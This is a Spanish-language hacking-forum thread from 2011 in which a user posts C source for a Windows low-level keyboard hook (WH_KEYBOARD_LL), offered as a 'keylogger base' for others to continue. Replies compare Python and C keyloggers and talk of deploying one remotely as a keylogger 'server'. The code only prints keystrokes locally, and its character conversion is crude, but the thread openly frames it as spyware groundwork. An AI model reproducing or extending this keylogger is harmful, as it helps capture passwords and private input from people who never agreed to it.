Underc0de

Programación General => C / C++ => Códigos Fuentes => Mensaje iniciado por: linkgl en Agosto 19, 2011, 12:24:12 PM

Título: Detectar teclas presionadas por HOOKS (Keylogger base)
Publicado por: linkgl en Agosto 19, 2011, 12:24:12 PM
Que tal, bueno para practicar hace un rato había hecho este ejemplo de cómo podría detectar teclas presionadas desde el teclado mediante el uso de hooks :P el resultado fué este:
(pequeña base para un keylogger, para quien lo quiera continuar)

/***********************************
* Coder: Linkgl                    *
* Thanks: The swash                *
* Exaple for hooks WH_KEYBOARD_LL  *
***********************************/
#include <windows.h>
#include <stdio.h>
//declaramos el hook publico
HHOOK hHook;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   //llamamos a la estructura y la hacemos puntero para lParam
   KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam;
   //PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
   if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
     return CallNextHookEx(0, nCode, wParam, lParam);
   if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla
       printf("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *

   return CallNextHookEx(0, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
   MSG msg;
   //definimos/activamos el hook
   hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
   //Bucle de mensajes
   while(TRUE==GetMessage(&msg, NULL, 0, 0))
   {
     TranslateMessage(&msg);
     DispatchMessage(&msg);
   }
   //eliminamos el hook
   UnhookWindowsHookEx(hHook);
}
Título: Re:Detectar teclas presionadas por HOOKS (Keylogger base)
Publicado por: Sensei en Agosto 19, 2011, 06:26:27 PM
Hace un tiempo vi un keylogger en python usando pyhook, está bastante bien usar hooks para un keylogger, la verdad, pero en C se complica el code xD.
Título: Re:Detectar teclas presionadas por HOOKS (Keylogger base)
Publicado por: linkgl en Agosto 20, 2011, 12:28:05 PM
No conocía pyhook :O, pero bueno un keylogger en python no creo que sea tan buena idea jaja porque si va a ser remoto y no tienes el intérprete pues vamos no va a servir a menos que le pases el pytoexe adjuntandole todas las librerías al mismo ejecutable que quedaría pesadisimo para ser un server de un keylogger, jaja en cambio en C acá ya tienes la base nomás falta usar GetAsyncKeyState o alguna función similar para detectar símbolos/caracteres raros no es difícil en realidad solo tienes que saber manejar la API de windows :P.

Gracias por el comentario  ;)